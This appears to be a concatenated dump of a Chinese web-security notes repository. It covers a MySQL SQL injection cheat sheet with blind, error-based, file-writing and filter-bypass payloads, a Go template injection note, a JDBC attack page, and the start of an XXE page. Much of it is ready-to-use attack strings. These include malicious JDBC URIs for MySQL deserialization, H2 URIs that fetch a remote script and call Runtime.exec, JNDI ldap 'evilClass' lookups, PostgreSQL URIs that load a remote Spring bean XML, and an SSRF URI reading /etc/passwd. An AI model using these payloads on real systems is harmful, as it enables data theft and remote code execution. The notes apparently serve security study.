116 | ``` 117 | 118 | ### 盲注 119 | ``` 120 | # 时间盲注 121 | and if((substr((select user()),1,1)='r'),sleep(5),1); // 为真就延迟 122 | and if((substr((select user()),1,1)='r'),BENCHMARK(20000000,md5('a')),1); 123 | and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end; 124 | or if((substr((select user()),1,1)='r'),((select sleep(5) from information_schema.schemata as b)),1);-- + 125 | 126 | # 布尔盲注 127 | and substr((select user()),1,1)='r' -- + 128 | and IFNULL((substr((select user()),1,1)='r'),0) -- + 129 | and strcmp((substr((select user()),1,1)='r'),1) -- + 130 | and 0=strcmp((substr((select user()),1,1)),'o'); 131 | 132 | ``` 133 | 134 | ### insert / delete / update 注入 135 | ``` 136 | # insert注入报错 (insert注入因为会写入到数据库中,所以会产生垃圾数据) 137 | insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin"); 138 | 139 | # insert盲注 140 | insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin"); 141 | insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); 142 | 143 | # delete报错注入 (delete注入or右侧条件一定要为false,减少对数据库的影响) 144 | delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0); 145 | 146 | # delete盲注 147 | delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1); 148 | delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0); 149 | 150 | # update注入 151 | update admin set id="5"+sleep(5)+"" where id=2; 152 | ``` 153 | 154 | ### order by注入 155 | ``` 156 | # 布尔 157 | select * from admin order by if(1=1,username,password); 158 | select * from admin order by if((substr((select user()),1,1)='r1'),username,password); 159 | 160 | # 盲注 161 | select * from admin order by if((substr((select user()),1,1)='r'),sleep(5),password); 162 | select * from admin order by if((substr((select user()),1,1)='r'),(select 1 from (select sleep(2)) as b),password); 163 | 164 | # 报错 165 | select * from admin order by (extractvalue(1,concat(0x3a,version())),1); 166 | ``` 167 | 168 | ### 读写文件 169 | ``` 170 | # 查询是否具备读写条件,5.6.34版本以后secure_file_priv的值默认为NULL,即无法读写。需要手动将配置文件该值改为空。 171 | show global variables like '%secure%'; 172 | 173 | # 读文件,文件名支持Hex或Char编码 174 | select * from admin union select 1,hex(load_file('C:\\test.txt')),3; 175 | 176 | # 读文件 177 | create table test(test text); 178 | insert into test(test) values (load_file('C:\\1.txt')); 179 | select * from test; 180 | 181 | # 写文件,outfile后跟绝对路径,并且要求路径下文件具备写权限 182 | select * from admin where id =1 union select 1,'',3 into outfile 'C:\\test.txt'; 183 | 184 | # 通过更改日志路径,查询写文件 185 | set global general_log=on; 186 | set global general_log_file='C://test.php'; 187 | select ''; 188 | 189 | # 堆叠查询写文件 (堆叠查询,通过;号分割多语句进行查询) 190 | id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+ 191 | id=1%27;select '';--+ 192 | ``` 193 | `outfile`会在行末写入新行,而且会转义换行符。`dumpfile`导出完整文件,不会转义。 194 | 195 | ### 宽字节注入 196 | `ASCII`码有127个字符,后来发现不够用,又扩展到了256个(扩展字符集,UTF-8) 197 | 但是为了表示中文,设计了`GB2312`: 小于127的字符意义和ASCII相同。两个大于127的字符连在一起就表示一个汉字 198 | 再后来,汉字实在太多,就更改只要第一个字节大于127就表示一个汉字,即`GBK`编码 199 | 200 | 宽字节注入的核心,是GB2312、GBK、BIG5等需要两个字节编码,可能将两个ASCII字符误认为是一个宽字节字符 201 | 例如将`xi'an`理解为`xian`,将`li'ang`理解为`liang` 202 | GBK编码对照表: http://tools.jb51.net/table/gbk_table 203 | 204 | 在一些开发场景下,会将`'`这种敏感字符转译,在前面加个`\`。`\'`经过url编码,会变成`%5c%27` 205 | 206 | 大于127的字符,即从128开始,对应十六进制的0x81 207 | GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),所以%df和%5C会结合认作一个字符;这样单引号就被闭合了(单引号逃逸) 208 | GB2312首字节范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c 209 | ``` 210 | %5c -> \ 211 | %27 -> ' 212 | %20 -> (空格) 213 | %23 -> # 214 | %3d -> = 215 | ``` 216 | 可以从GBK编码表中挑选一个满足的字符例如%df,宽字节注入过程如下 217 | ``` 218 | %df%27 -> %df%5c%27 -> 運' 219 | ``` 220 | 221 | ### 绕过 222 | ``` 223 | # 注释方法 224 | /*xxxx*/ 225 | /*/*xxxx*/ 226 | --空格 227 | # 228 | ;%00 229 | 230 | # and or 过滤 231 | and -> & 232 | or -> | 233 | 234 | # 数字过滤 1=1过滤 235 | and ~1>1 236 | and hex(1)>-1 237 | and hex(1)>~1 238 | and -2<-1 239 | and ~1=1 240 | and!!!1=1 241 | and 1-1 242 | and true 243 | and 1 244 | 245 | # union select过滤 246 | union/*select*/ 247 | union/*!/*!11440select*/ 248 | union/*!11441/*!11440select*/ 249 | union/*!11440select*/ 250 | union/*!11440/**/%0aselect*/ 251 | union a%23 select 252 | union all%23 select 253 | union all%23%0a select 254 | union %23%0aall select 255 | union -- 1%0a select 256 | union -- hex()%0a select 257 | union(select 1,2,3) 258 | 259 | 数字代表版本号,需要遍历测试 260 | 261 | # information_schema.schemata被过滤 262 | `information_schema`.`schemata ` 263 | information_schema/**/.schemata 264 | information_schema/*!*/.schemata 265 | information_schema%0a.schemata 266 | 267 | # users被过滤,加数据库名绕过 268 | security.users 269 | security.`users` 270 | 271 | # 盲注绕过 272 | and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1) 273 | and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 274 | /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 275 | and!!!substr((select user-- (1)%0a()),1,1)='r' 276 | and!!!substr((select{x @@datadir}),1,1)='D' 277 | and strcmp((substr((select /*from*/),2,1)),'0') 278 | and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D') 279 | and if((strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')),1,sleep(5)) 280 | 281 | # 报错注入绕过,过滤updatexml() 282 | /*updatexml*/(1,1,1) 283 | /*!11440updatexml*/(1,1,1) 284 | /*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 285 | /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 286 | /*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 287 | | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 288 | xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 289 | `updatexml`(1,(select hex(user/**/(/**/))),1) 290 | `updatexml`(1,select `user`%0a(),1) 291 | 292 | # from表名 被过滤 293 | select from[user] 294 | ``` 295 | 296 | 附录 297 | 1. sqli-labs环境搭建 298 | ``` 299 | docker search sqli-labs //搜索sqli-labs 300 | docker pull acgpiano/sqli-labs //拉取镜像 301 | docker images //查看镜像 302 | docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs //后台运行镜像,docker端口映射到主机端口,执行后会返回一个ID号 303 | docker exec -it ID号 /bin/bash //进入docker容器 304 | //参数解释:-dt 后台运行; --name 命名;-p 80:80 将后面的docker容器端口映射到前面的主机端口。 305 | docker start sqli-labs //启动 306 | ``` 307 | 308 | 2. 常用mysql函数 309 | ``` 310 | CONCAT(): 字符串连接 CONCAT(string1,string2, ... ); 311 | CONCAT_WS(): 根据预定义的分隔符相连接字符串 CONCAT_WS(seperator,string1,string2, ... ); 312 | if(expre1,expre2,expre3): expre1为true时,返回expre2;否则返回expre3 313 | substr(string string,num start,num length): 截取字符串 314 | substring(str, pos) 或 substring(str, pos, length) 后者类似substr 315 | left(str, length): 从左截取字符串 316 | right(str, length): 从右截取字符串 317 | BENCHMARK(count,expr): 重复执行expr表达式count次,这个函数的返回值始终是0,但会消耗时间以测试执行效率 318 | ascii(chr): 返回字符的ASCII值 319 | hex(chr): 返回字符的hex值 320 | STRCMP(str1, str2): 比较字符串,相等为0,str1大为1,str2大为-1 321 | IFNULL(expression, alt_value): 判断表达式是否为NULL,是则返回第二个参数的值,否则返回表达式的值。 322 | ``` 323 | 324 | 3. 基本语句 325 | ``` 326 | # 创建数据库 327 | create database test; 328 | 329 | # 创建数据表 330 | create table users (id int, username varchar(255), password varchar(255)); 331 | ``` 332 | 333 | 334 | 335 | -------------------------------------------------------------------------------- /Go Security/Go Server Side Template Injection(SSTI).md: -------------------------------------------------------------------------------- 1 | # Go Server Side Template Injection(SSTI) 2 | 3 | Golang的标准库中,支持使用使用模板来定义输出文件的格式和内容,它们分别是[text/template]()和 [html/template]()。它们都支持将变量或方法与模板绑定在一起,从而实现View于Data的分离。 4 | 5 | ## Template 介绍 6 | 7 | 两者有一点不同的是,前者不带过滤器,对于在模板中展示的内容,不会进行编码或转义。但后者由于在web场景中使用,增加了[安全机制](https://rawgit.com/mikesamuel/sanitized-jquery-templates/trunk/safetemplate.html#problem_definition),会对内容进行转义。下面看示例: 8 | 9 | ```go 10 | package main 11 | 12 | import ( 13 | "fmt" 14 | "html/template" 15 | "net/http" 16 | ) 17 | 18 | func main() { 19 | payload := "" 20 | var tmpl = `{{ . }}` 21 | 22 | t := template.Must(template.New("").Parse(tmpl)) 23 | 24 | t.Execute(os.Stdout, &payload) 25 | } 26 | ``` 27 | 输出内容如下 28 | ```html 29 | <script>alert(1)</script> 30 | ``` 31 | 将`html/template`替换为`text/tempalte`后,输出如下 32 | ``` 33 | 34 | ``` 35 | 根据文档的说明,对于模版 36 | ```html 37 | {{.}} 38 | ``` 39 | 实际解析过程中会被替换为如下内容 40 | ```html 41 | {{. | htmlescaper}} 42 | ``` 43 | 所以,实际上解析器会根据上下文的不同,调用对应方法将内容进行转义。而Golang中的模板注入,根据注入的方式不同,会造成不同的影响。一种情况是,模板内容可控,另一种是注入目标的数据对象可控。 44 | ```go 45 | var tmpl = fmt.Sprintf(`{{ . }} %s`, injected_tempalte) 46 | // or 47 | var tmpl = `{{ .Payload }}` 48 | t := template.Must(template.New("").Parse(tmpl)) 49 | t.Execute(os.Stdout, injected_data_object) 50 | ``` 51 | 52 | ### 函数调用 53 | 54 | Go中的模板语法还支持其它功能,变量声明,条件判断,循环,函数调用等。模板的全局上下文有如下函数: 55 | | function | description | 56 | | -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | 57 | | `and` | 返回参数逻辑与的结果,直到遇到第一个空的参数,或最后一个参数的结果。如`and x y`,执行逻辑为`if x then y else x` | 58 | | `call` | 返回被调用方法的结果,被调用方法需要返回一个或两个返回值,且第二个返回值为`error`,若`error`不为空则停止后续执行。如`call .X.Y 1 2`,执行逻辑为`.X.Y(1,2)` | 59 | | `html` | 返回HTML转义后的内容,`html/tempalte`包中不可用 | 60 | | `index` | 返回给定参数索引后的值,`index x 1`,等价于`x[1]` | 61 | | `slice` | 返回给定参数的切片 | 62 | | `print/printf/println` | `fmt.print/fmt.printf/fmt.println` | 63 | 64 | >更详细的内容见,https://pkg.go.dev/text/template#hdr-Functions 65 | 66 | ## 安全隐患 67 | 68 | ### XSS 69 | 70 | `html/template`的主要目的之一就是为了防止`XSS`漏洞的产生,所以它具备较完善的安全机制,会对渲染的内容进行转义。如果能让注入的内容不被转义,那么就可能导致`XSS`。一种方法是,使用如下模板语法,进行注入 71 | ```go 72 | {{ define "T" }}{{ end }}{{template "T"}} 73 | ``` 74 | > 这段语句的意思是,定义一个模板,并通过`{{template "T"}}`使用它。 75 | 76 | 下面是一段示例代码 77 | ```go 78 | package main 79 | 80 | import ( 81 | "fmt" 82 | "html/template" 83 | "net/http" 84 | ) 85 | 86 | func main() { 87 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 88 | q := r.URL.Query()["q"][0] 89 | tmp := fmt.Sprintf(` 90 |

Hi {{ . }} %s

`, q) 91 | tmpl := template.Must(template.New("page").Parse(tmp)) 92 | tmpl.Execute(w, "") 93 | }) 94 | http.ListenAndServe(":80", nil) 95 | } 96 | ``` 97 | 发送如下请求 98 | ```http 99 | localhost?q={{%20define%20"T"%20}}{{%20end%20}}{{template%20"T"}} 100 | ``` 101 | 成功弹窗,当然这里需要假设**模板可控**。 102 | ![](../images/Pasted%20image%2020230307105828.png) 103 | 104 | ### 代码执行 105 | >这部分内容是最为鸡肋的,现实中应该很难碰到。 106 | 107 | 除了内嵌的函数,模板中还能调用传入对象所具有的方法。具体见下面的例子 108 | ```go 109 | package main 110 | 111 | import ( 112 | "bytes" 113 | "fmt" 114 | "html/template" 115 | "net/http" 116 | ) 117 | 118 | type Todo struct { 119 | Title string 120 | Done bool 121 | } 122 | 123 | type TodoPageData struct { 124 | PageTitle string 125 | Todos []Todo 126 | } 127 | 128 | func (t *Todo) TodoFunc(content string) string { 129 | b := bytes.Buffer{} 130 | fmt.Fprintln(&b, t.Done, content) 131 | return b.String() 132 | } 133 | 134 | func main() { 135 | tmpl := template.Must(template.ParseFiles("layout.html")) 136 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 137 | data := TodoPageData{ 138 | PageTitle: "My TODO list", 139 | Todos: []Todo{ 140 | {Title: "Task 1", Done: false}, 141 | {Title: "Task 2", Done: true}, 142 | {Title: "Task 3", Done: true}, 143 | }, 144 | } 145 | tmpl.Execute(w, data) 146 | }) 147 | http.ListenAndServe(":80", nil) 148 | } 149 | ``` 150 | `layout.html` 151 | ```html 152 |

{{.PageTitle}}

153 |
    154 | {{range .Todos}} 155 | {{if .Done}} 156 |
  • {{.TodoFunc .Title}}
  • 157 | {{else}} 158 |
  • {{.Title}}
  • 159 | {{end}} 160 | {{end}} 161 |
162 | ``` 163 | 结果如下。 164 | ![](../images/Pasted%20image%2020230310210247.png) 165 | 如果此方法是一个危险的方法,例如可执行命令或者读取文件,那就会导致危险行为的产生。对代码进行修改: 166 | ```go 167 | func main() { 168 | tmpl := template.Must(template.ParseFiles("layout.html")) 169 | http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { 170 | todo := r.URL.Query()["q"][0] 171 | data := TodoPageData{ 172 | PageTitle: "My TODO list", 173 | Todos: []Todo{ 174 | {Title: todo, Done: true}, 175 | }, 176 | } 177 | // ... 178 | func (t *Todo) TodoFunc(content string) string { 179 | out, _ := exec.Command(content).CombinedOutput() 180 | return string(out) 181 | } 182 | ``` 183 | ![](../images/Pasted%20image%2020230310211445.png) 184 | 如果模板可控,那么可以使用`{{ .TodoFunc "cmd" }}`来调用所需方法。 185 | 186 | ## 参考 187 | 1. https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html 188 | 2. https://www.onsecurity.io/blog/go-ssti-method-research/ 189 | -------------------------------------------------------------------------------- /JavaVulType/JDBC.md: -------------------------------------------------------------------------------- 1 | # JDBC 攻击 2 | 3 | - [JDBC 应用](#jdbc应用) 4 | 5 | - [JDBC 攻击-mysql](#jdbc攻击-mysql) 6 | 7 | - [ServerStatusDiffInterceptor 调用链](#serverstatusdiffinterceptor调用链) 8 | - [detectCustomCollations 调用链](#detectcustomcollations调用链) 9 | - [payload](#payload) 10 | 11 | - [JDBC 攻击-其他数据库](#jdbc攻击-其他数据库) 12 | 13 | - [H2](#h2) 14 | - [DB2](#db2) 15 | - [ModeShape](#modeshape) 16 | - [Apache Derby](#apache-derby) 17 | - [SQLite](#sqlite) 18 | - [PostgreSQL](#postgresql) 19 | - [Apache Calcite Avatica](#apache-calcite-avatica) 20 | - [Snowflake](#snowflake) 21 | 22 | - [JDBC 攻击-文件读取](#jdbc攻击-文件读取) 23 | 24 | JDBC(Java DataBase Connectivity),是 Java 程序访问数据库的标准接口。常用的关系数据库包括:付费的(`Oracle、SQL Server、DB2、Sybase`)、开源的(`MySQL、PostgreSQL、Sqlite`)。JDBC 接口通过 JDBC 驱动来访问数据库,而 JDBC 驱动由各个数据库厂商提供,也就是不同的数据库对应有各自的驱动。使用 JDBC 的好处就是不需要根据不同的数据库做开发,拥有统一的接口。 25 | 26 | ## JDBC 应用 27 | 28 | 假如使用 MySQL 的 JDBC 驱动,只需要在 maven 中引入对应的 jar 包。scope 设置为 runtime,因为编译时并不需要此 jar 包,只在运行期使用。 29 | 30 | ``` 31 | 32 | mysql 33 | mysql-connector-java 34 | 5.1.47 35 | runtime 36 | 37 | ``` 38 | 39 | 使用 jdbc 连接 mysql 中 student 数据库(mysql 驱动后面跟的可选扩展参数包括`loadDataLocal、requireSSL、socksProxyHost、useAsyncProtocol、useServerPrepStmts、allowUrlInLoadLocal`等) 40 | 41 | ```java 42 | String JDBC_URL = "jdbc:mysql://localhost:3306/student?requireSSL=false"; 43 | String JDBC_USER = "root"; 44 | String JDBC_PASSWORD = "password"; 45 | try (Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD)) { // 获取数据库连接 46 | try (Statement stmt = conn.createStatement()) { 47 | try (ResultSet rs = stmt.executeQuery("SELECT id, name FROM students WHERE id=1")) { 48 | while (rs.next()) { // 获取列数据 49 | int id = rs.getInt(1); // ResultSet 索引从1开始,而不是0 50 | String name = rs.getString(2); 51 | } 52 | } 53 | } 54 | } 55 | conn.close(); 56 | ``` 57 | 58 | `Statement`容易引发 SQL 注入,想要完全避免 SQL 注入可以使用`PreparedStatement`,使用占位符的方式。 59 | 60 | ```java 61 | try (Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD)) { 62 | try (PreparedStatement ps = conn.prepareStatement("SELECT id, name FROM students WHERE id=?")) { 63 | ps.setObject(1, id); 64 | try (ResultSet rs = ps.executeQuery()) { 65 | while (rs.next()) { 66 | int id = rs.getInt("id"); 67 | String name = rs.getString("name"); 68 | } 69 | } 70 | } 71 | } 72 | ``` 73 | 74 | ## jdbc 攻击-mysql 75 | 76 | 上面提到 mysql 驱动的 URL 可选扩展参数有很多,其中一个叫做`autoDeserialize`,如果配置为 true,客户端会自动反序列化服务端返回的数据。mysql-connector-java.jar 中的类`com/mysql/cj/jdbc/result/ResultSetImpl.class#getObject()`方法如下。如果 autoDeserialize 属性值为 true,就会进行反序列化操作。 77 | 78 | ```java 79 | byte[] data = this.getBytes(columnIndex); 80 | if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) { 81 | return data; 82 | } else { 83 | Object obj = data; 84 | if (data != null && data.length >= 2) { 85 | ... 86 | try { 87 | ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); 88 | ObjectInputStream objIn = new ObjectInputStream(bytesIn); 89 | obj = objIn.readObject(); 90 | objIn.close(); 91 | bytesIn.close(); 92 | } 93 | } 94 | ``` 95 | 96 | 但是默认情况下客户端不会调用 getObject()方法。就像找反序列化调用链一样需要找到上层的调用。 97 | 98 | ### ServerStatusDiffInterceptor 调用链 99 | 100 | 101 | 102 | ``` 103 | com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#postProcess/preProcess() 104 | com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues() 105 | ResultSetUtil#resultSetToMap() 106 | ``` 107 | 108 | 最终走到的 resultSetToMap 方法如下,调用了 getObject()方法 109 | 110 | ```java 111 | public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException { 112 | while (rs.next()) { 113 | mappedValues.put(rs.getObject(1), rs.getObject(2)); 114 | } 115 | } 116 | ``` 117 | 118 | `ServerStatusDiffInterceptor`实现自 QueryInterceptor 接口,它对应扩展参数 queryInterceptors。那么就可以构造一个恶意的 JDBC URI 来触发反序列化。 119 | 120 | ``` 121 | jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 122 | ``` 123 | 124 | ### detectCustomCollations 调用链 125 | 126 | 这条链最终也是走到 resultSetToMap 方法,核心是`com.mysql.jdbc.ConnectionImpl#buildCollationMapping()`方法,如果满足版本大于 4.1.0 并且 detectCustomCollations 值为 true,就会调用到 resultSetToMap 方法,最终进行反序列化操作。 127 | 128 | ```java 129 | if (this.versionMeetsMinimum(4, 1, 0) && this.getDetectCustomCollations()) { // 版本大于4.1.0,detectCustomCollations值为true 130 | java.sql.Statement stmt = null; 131 | ResultSet results = null; 132 | 133 | try { 134 | sortedCollationMap = new TreeMap(); 135 | customCharset = new HashMap(); 136 | customMblen = new HashMap(); 137 | stmt = this.getMetadataSafeStatement(); 138 | 139 | try { 140 | results = stmt.executeQuery("SHOW COLLATION"); 141 | if (this.versionMeetsMinimum(5, 0, 0)) { 142 | Util.resultSetToMap(sortedCollationMap, results, 3, 2); // 调用resultSetToMap() 143 | }... 144 | } 145 | ``` 146 | 147 | 因为是服务端攻击客户端,还需要一个恶意的 mysql 服务端。这部分可以用工具: 148 | 149 | 恶意 mysql 服务器的核心思路是将反序列化数据存储在对应的数据表中对应字段中。以 detectCustomCollations 调用链为例`Util.resultSetToMap(sortedCollationMap, results, 3, 2);`会对第三个字段进行获取,那么就需要创建一张表,列出至少三个字段,并将 `ysoserial` 生成的反序列化数据赋值给第三个字段。 150 | 151 | ### Payload 总结 152 | 153 | #### `ServerStatusDiffInterceptor` 触发 154 | 155 | ##### 8.x 156 | 157 | ```java 158 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 159 | ``` 160 | 161 | ##### 6.x 162 | 163 | 属性名不同,变更为 `statementInterceptors` 164 | 165 | ```java 166 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 167 | ``` 168 | 169 | ##### 5.1.11 - 5.x 170 | 171 | ```java 172 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor 173 | ``` 174 | 175 | > `5.1.10` 及以下的 `5.1.X` 版本:同上,但是需要连接后执行查询。 176 | 177 | 另外由于不同版本 jdbc 扩展参数可能存在差异,工具中也给出了不同版本下的利用 URI 178 | 179 | Ps: 如果是读文件需要加 maxAllowedPacket=655360 180 | 181 | ##### 5.0.x 182 | 183 | 没有 `ServerStatusDiffInterceptor`,不可利用。 184 | 185 | #### `detectCustomCollations` 触发 186 | 187 | ##### 5.1.41 - 5.1.x 188 | 189 | 不可用 190 | 191 | ##### 5.1.29 - 5.1.40 192 | 193 | ```java 194 | jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true 195 | ``` 196 | 197 | ##### 5.1.19 - 5.1.28 198 | 199 | ``` 200 | jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true 201 | ``` 202 | 203 | ##### 5.1.x - 5.1.18 204 | 205 | 不可用 206 | 207 | ##### 5.0.x 208 | 209 | 不可用 210 | 211 | ## JDBC 攻击-其他数据库 212 | 213 | ### H2 214 | 215 | ``` 216 | # 远程拉取sql脚本 217 | jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8089/poc.sql' 218 | 219 | poc.sql: CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "run";}';CALL EXEC ('open -a Calculator.app') 220 | 221 | # 多语句 222 | jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"trganda\"\\;}'\\;CALL EXEC ('open -a Calculator.app') 223 | 224 | # Groovy 225 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'" 226 | 227 | String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")" + "})" + "def x"; 228 | 229 | # Javascript 230 | jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test1 BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")'" 231 | 232 | # Ruby 233 | jdbc:h2:mem:db;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE SCHEMA IF NOT EXISTS db\\;CREATE TABLE db.TEST(ID INT PRIMARY KEY, NAME VARCHAR(255))\\;CREATE TRIGGER POC BEFORE SELECT ON db.TEST AS '#ruby\nrequire \"java\"\njava.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\")' 234 | ``` 235 | 236 | ### DB2 237 | 238 | ``` 239 | jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass; 240 | ``` 241 | 242 | ### ModeShape 243 | 244 | ``` 245 | jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass 246 | ``` 247 | 248 | ### Apache Derby 249 | 250 | ``` 251 | jdbc:derby:db;startMaster=true;slaveHost=127.0.0.1 252 | ``` 253 | 254 | 在 `127.0.0.1` 启动恶意 slave 服务。 255 | 256 | ### SqLite 257 | 258 | 文件上传 + 利用拓展实现命令执行 259 | 260 | ``` 261 | jdbc:sqlite::resource:http://127.0.0.1:8001/poc.db 262 | ``` 263 | 264 | ### PostgreSQL 265 | 266 | ``` 267 | # Sslfactory & Sslfactoryarg 268 | jdbc:postgresql://localhost/test?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=ftp://127.0.0.1:2121/bean.xml 269 | 270 | # socketFactory & socketFactoryArg 271 | jdbc:postgresql://localhost/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml 272 | ``` 273 | 274 | ### Apache Calcite Avatica 275 | 276 | SSRF 277 | 278 | ``` 279 | jdbc:avatica:remote:url=https://jdbc-attack.com?file=/etc/passwd;httpclient_impl=sun.security.provider.PolicyFile 280 | ``` 281 | 282 | ### Snowflake 283 | 284 | ``` 285 | jdbc:snowflake://jdbc-attack.com/?user=trganda&passwd=trganda&db=db&authenticator=externalbrowserP 286 | ``` 287 | 288 | > 以上 Poc 可参考 https://github.com/trganda/atkjdbc 289 | 290 | ## jdbc 攻击-文件读取 291 | 292 | 这篇文章已经说的很全了,漏洞定位`com.mysql.jdbc.MysqlIO#sendFileToServer` 293 | 294 | -------------------------------------------------------------------------------- /JavaVulType/XXE.md: -------------------------------------------------------------------------------- 1 | # XXE 2 | 3 | - [XML](#xml) 4 | - [DTD](#dtd) 5 | - [实体引用](#实体引用) 6 | 7 | - [Java XML解析](#java_xml解析) 8 | - [DOM](#dom) 9 | - [SAX](#sax) 10 | - [JDOM](#jdom) 11 | - [DOM4J](#dom4j) 12 | 13 | - [Payloads](#payloads) 14 | - [有回显](#有回显) 15 | - [无回显](#无回显) 16 | - [DDOS](#ddos) 17 | - [常见报错](#常见报错) 18 | 19 | ## xml 20 | 21 | XML(eXtensible Markup Language),可扩展的标记语言,所有的标签都可以自定义。XML常被用于配置文件,记录和传递信息。 22 | 23 | 假设`student.xml`文件内容如下 24 | 25 | ```xml 26 | 27 | 28 | 29 | 张三 30 | java 31 | 90 32 | 33 | 34 | 李四 35 | xml 36 | 99 37 | 38 | 39 | ``` 40 | 41 | ### dtd 42 | 43 | DTD(Document Type Definition,文档类型定义)是一组标记声明,为GML、SGML、XML、HTML等标记语言定义文档类型,定义了一种文档约束。从DTD的角度来看,XML包含五部分:`Elements元素、Attributes属性、Entities实体、PCDATA(Parsed Character Data被解析字符数据)、CDATA(Character Data字符数据)`。简单理解PCDATA和CDATA的区别就是PADATA是位于标签中间的数据,需要被xml解析。 44 | 45 | student.xml文件加入对应的内部DTD约束如下: 46 | 47 | ```xml 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | ]> 56 | ``` 57 | 如果想要把DTD约束定义在外部文档中,那么student.xml文档中只需要加入一句``,如下。引入的scores.dtd参照内部DTD约束(但是去除` 60 | ``` 61 | 62 | ### 实体引用 63 | 64 | 实体是对数据的引用,例如引用文本或特殊字符变量。实体也分为内部实体和外部实体,外部实体可以理解为定义在其他外部文件中。所有的实体以`&`开头,`;`结尾。上述student.xml中定义name为张三的方式如下 65 | ```xml 66 | 67 | 张三 68 | 69 | ``` 70 | 如果改用实体引用的方式,如下 71 | ```xml 72 | 73 | 74 | 75 | &name; 76 | 77 | 78 | 79 | 80 | &name; 81 | ``` 82 | 83 | xml对于有特殊意义的五个字符,已经默认转为实体引用,如下 84 | 85 | ``` 86 | < < 87 | > > 88 | & & 89 | ' ' 90 | " " 91 | ``` 92 | 93 | 94 | ## java_xml解析 95 | 96 | Java解析XML的方式主要有四种:DOM(Document Object Model)、SAX(Simple API for XML)、JDOM(Java Document Object Model)和DOM4J。 97 | 98 | ### dom 99 | 100 | DOM一次性读取XML,并在内存中表示为树形结构,包括:`DOCUMENT_NODE、ELEMENT_NODE、ATTRIBUTE_NODE`等节点,分别表示整个XML文档、XML元素、XML元素的属性等。可参考:https://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/introduction.html 101 | 102 | ```java 103 | import org.w3c.*; 104 | import javax.xml.parsers.*; 105 | 106 | File f=new File("student.xml"); 107 | DocumentBuilderFactory factory=DocumentBuilderFactory.newInstance(); 108 | DocumentBuilder builder=factory.newDocumentBuilder(); 109 | Document doc=builder.parse(f); // 可以接收InputStream,File或者URL 110 | 111 | NodeList n=doc.getElementsByTagName("student"); 112 | System.out.println(doc.getElementsByTagName("name").item(0).getFirstChild().getNodeValue()); 113 | ``` 114 | 115 | 116 | ### 